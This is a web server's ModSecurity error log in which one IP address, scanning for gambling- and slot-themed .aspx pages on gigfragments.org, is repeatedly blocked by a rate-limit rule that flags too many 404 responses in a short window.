[Sun Feb 22 01:57:32.806025 2026] [:error] [pid 3516:tid 3520] [client 51.83.237.175:41478] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZnyDEtaWLejEJFWY3FBlQAAAME"]
[Sun Feb 22 01:57:33.267661 2026] [:error] [pid 3195:tid 3450] [client 51.83.237.175:41482] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aZnyDQ28anZ1nWyZCI5HJQAAAEs"]
[Sun Feb 22 01:57:33.913908 2026] [:error] [pid 3179:tid 3430] [client 51.83.237.175:41496] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZnyDdgAWCcL8bTGJUUwVAAAABI"]
[Sun Feb 22 01:57:33.971247 2026] [:error] [pid 4789:tid 4798] [client 51.83.237.175:41510] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZnyDa9_231lp37V1xxWKgAAAQc"]
[Sun Feb 22 01:57:35.262357 2026] [:error] [pid 3179:tid 3422] [client 51.83.237.175:41514] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aZnyD9gAWCcL8bTGJUUwVgAAAAo"]
[Sun Feb 22 01:57:35.867599 2026] [:error] [pid 3516:tid 3540] [client 51.83.237.175:41516] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aZnyD0taWLejEJFWY3FBmQAAANU"]
[Sun Feb 22 01:57:36.108633 2026] [:error] [pid 3195:tid 3442] [client 51.83.237.175:41522] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZnyEA28anZ1nWyZCI5HKAAAAEM"]
[Sun Feb 22 01:57:37.445440 2026] [:error] [pid 4789:tid 4796] [client 51.83.237.175:37220] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aZnyEa9_231lp37V1xxWLgAAAQU"]
[Sun Feb 22 01:57:37.530669 2026] [:error] [pid 4789:tid 4807] [client 51.83.237.175:37226] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aZnyEa9_231lp37V1xxWLwAAARA"]
[Sun Feb 22 01:57:38.067302 2026] [:error] [pid 3179:tid 3420] [client 51.83.237.175:37234] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aZnyEtgAWCcL8bTGJUUwWgAAAAg"]
[Sun Feb 22 01:57:38.282645 2026] [:error] [pid 3179:tid 3421] [client 51.83.237.175:37250] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZnyEtgAWCcL8bTGJUUwXAAAAAk"]
[Sun Feb 22 01:57:39.795109 2026] [:error] [pid 3516:tid 3522] [client 51.83.237.175:37254] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aZnyE0taWLejEJFWY3FBnQAAAMM"]
[Sun Feb 22 01:57:39.960335 2026] [:error] [pid 3516:tid 3542] [client 51.83.237.175:37266] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aZnyE0taWLejEJFWY3FBnwAAANc"]
[Sun Feb 22 01:57:40.112554 2026] [:error] [pid 3516:tid 3528] [client 51.83.237.175:37280] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aZnyFEtaWLejEJFWY3FBoAAAAMk"]
[Sun Feb 22 01:57:41.051804 2026] [:error] [pid 4789:tid 4805] [client 51.83.237.175:37286] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZnyFa9_231lp37V1xxWMwAAAQ4"]
[Sun Feb 22 01:57:41.991524 2026] [:error] [pid 4789:tid 4815] [client 51.83.237.175:37296] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aZnyFa9_231lp37V1xxWNAAAARg"]
[Sun Feb 22 01:57:42.078590 2026] [:error] [pid 3179:tid 3428] [client 51.83.237.175:37298] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aZnyFtgAWCcL8bTGJUUwZQAAABA"]
[Sun Feb 22 01:57:43.657513 2026] [:error] [pid 3195:tid 3463] [client 51.83.237.175:37306] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZnyFw28anZ1nWyZCI5HLAAAAFg"]
[Sun Feb 22 01:57:44.115794 2026] [:error] [pid 3195:tid 3457] [client 51.83.237.175:37314] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aZnyGA28anZ1nWyZCI5HMAAAAFI"]
[Sun Feb 22 01:57:44.202272 2026] [:error] [pid 3195:tid 3441] [client 51.83.237.175:37324] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aZnyGA28anZ1nWyZCI5HMQAAAEI"]
[Sun Feb 22 01:57:44.745061 2026] [:error] [pid 4789:tid 4796] [client 51.83.237.175:37334] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aZnyGK9_231lp37V1xxWPAAAAQU"]
[Sun Feb 22 01:57:57.363857 2026] [:error] [pid 3516:tid 3527] [client 51.83.237.175:37372] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aZnyJUtaWLejEJFWY3FBvAAAAMg"]
[Sun Feb 22 01:57:58.947091 2026] [:error] [pid 3204:tid 3487] [client 51.83.237.175:37350] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aZnyJnAwnUMG8727rz4agwAAAJU"]
[Sun Feb 22 01:57:59.008417 2026] [:error] [pid 3204:tid 3489] [client 51.83.237.175:37352] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aZnyJ3AwnUMG8727rz4ahAAAAJc"]
[Sun Feb 22 01:57:59.823916 2026] [:error] [pid 3516:tid 3530] [client 51.83.237.175:37366] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aZnyJ0taWLejEJFWY3FBvQAAAMs"]
[Sun Feb 22 01:57:59.857747 2026] [:error] [pid 3179:tid 3432] [client 51.83.237.175:33792] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aZnyJ9gAWCcL8bTGJUUwfAAAABQ"]
[Sun Feb 22 01:58:00.844903 2026] [:error] [pid 4789:tid 4803] [client 51.83.237.175:33800] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aZnyKK9_231lp37V1xxWTQAAAQw"]
[Sun Feb 22 01:58:00.917586 2026] [:error] [pid 4789:tid 4810] [client 51.83.237.175:33810] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aZnyKK9_231lp37V1xxWTwAAARM"]
[Sun Feb 22 01:58:02.397339 2026] [:error] [pid 3179:tid 3434] [client 51.83.237.175:33816] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aZnyKtgAWCcL8bTGJUUwgQAAABY"]
[Sun Feb 22 01:58:02.802138 2026] [:error] [pid 3179:tid 3419] [client 51.83.237.175:33830] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aZnyKtgAWCcL8bTGJUUwggAAAAc"]
[Sun Feb 22 01:58:02.946876 2026] [:error] [pid 3179:tid 3425] [client 51.83.237.175:33836] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aZnyKtgAWCcL8bTGJUUwhAAAAA0"]
[Sun Feb 22 01:58:02.982221 2026] [:error] [pid 3179:tid 3413] [client 51.83.237.175:33838] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aZnyKtgAWCcL8bTGJUUwhQAAAAE"]
[Sun Feb 22 01:58:04.905357 2026] [:error] [pid 3195:tid 3449] [client 51.83.237.175:33840] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aZnyLA28anZ1nWyZCI5HRAAAAEo"]
[Sun Feb 22 01:58:04.975969 2026] [:error] [pid 3516:tid 3543] [client 51.83.237.175:33842] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aZnyLEtaWLejEJFWY3FBwgAAANg"]
[Sun Feb 22 01:58:05.244833 2026] [:error] [pid 3204:tid 3483] [client 51.83.237.175:33844] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aZnyLXAwnUMG8727rz4akQAAAJE"]
[Sun Feb 22 01:58:06.628935 2026] [:error] [pid 3204:tid 3466] [client 51.83.237.175:33846] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "aZnyLnAwnUMG8727rz4akgAAAIA"]
[Sun Feb 22 01:58:06.910612 2026] [:error] [pid 4789:tid 4798] [client 51.83.237.175:54568] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aZnyLq9_231lp37V1xxWWgAAAQc"]
[Sun Feb 22 01:58:06.956191 2026] [:error] [pid 3179:tid 3412] [client 51.83.237.175:54584] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZnyLtgAWCcL8bTGJUUwiQAAAAA"]
[Sun Feb 22 01:58:07.718148 2026] [:error] [pid 4789:tid 4793] [client 51.83.237.175:54594] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aZnyL69_231lp37V1xxWXQAAAQI"]
[Sun Feb 22 01:58:08.936525 2026] [:error] [pid 3179:tid 3420] [client 51.83.237.175:54604] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aZnyMNgAWCcL8bTGJUUwigAAAAg"]
[Sun Feb 22 01:58:09.629106 2026] [:error] [pid 3179:tid 3434] [client 51.83.237.175:54606] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZnyMdgAWCcL8bTGJUUwiwAAABY"]
[Sun Feb 22 01:58:09.709761 2026] [:error] [pid 3204:tid 3478] [client 51.83.237.175:54608] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20168.aspx"] [unique_id "aZnyMXAwnUMG8727rz4akwAAAIw"]
[Sun Feb 22 01:58:10.525130 2026] [:error] [pid 3516:tid 3530] [client 51.83.237.175:54620] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aZnyMktaWLejEJFWY3FByAAAAMs"]
[Sun Feb 22 01:58:11.699920 2026] [:error] [pid 3195:tid 3442] [client 51.83.237.175:54636] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZnyMw28anZ1nWyZCI5HTwAAAEM"]
[Sun Feb 22 01:58:12.236161 2026] [:error] [pid 3195:tid 3463] [client 51.83.237.175:54642] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "aZnyNA28anZ1nWyZCI5HUQAAAFg"]
[Sun Feb 22 01:58:13.569107 2026] [:error] [pid 4789:tid 4809] [client 51.83.237.175:54656] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aZnyNa9_231lp37V1xxWbQAAARI"]
[Sun Feb 22 01:58:13.759778 2026] [:error] [pid 3195:tid 3446] [client 51.83.237.175:54662] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZnyNQ28anZ1nWyZCI5HVgAAAEc"]
[Sun Feb 22 01:58:15.161018 2026] [:error] [pid 3516:tid 3533] [client 51.83.237.175:54676] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "aZnyN0taWLejEJFWY3FB0AAAAM4"]
[Sun Feb 22 01:58:15.977664 2026] [:error] [pid 3179:tid 3422] [client 51.83.237.175:54682] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZnyN9gAWCcL8bTGJUUwkQAAAAo"]
[Sun Feb 22 01:58:16.735496 2026] [:error] [pid 3204:tid 3485] [client 51.83.237.175:54694] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZnyOHAwnUMG8727rz4amgAAAJM"]
[Sun Feb 22 01:58:17.782046 2026] [:error] [pid 3204:tid 3484] [client 51.83.237.175:43768] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "aZnyOXAwnUMG8727rz4anQAAAJI"]
[Sun Feb 22 01:58:18.025451 2026] [:error] [pid 3204:tid 3486] [client 51.83.237.175:43770] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZnyOnAwnUMG8727rz4angAAAJQ"]
[Sun Feb 22 01:58:18.984037 2026] [:error] [pid 4789:tid 4794] [client 51.83.237.175:43776] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aZnyOq9_231lp37V1xxWeQAAAQM"]
[Sun Feb 22 01:58:20.243494 2026] [:error] [pid 3179:tid 3425] [client 51.83.237.175:43778] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZnyPNgAWCcL8bTGJUUwnAAAAA0"]
[Sun Feb 22 01:58:20.924328 2026] [:error] [pid 3179:tid 3414] [client 51.83.237.175:43784] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aZnyPNgAWCcL8bTGJUUwnwAAAAI"]
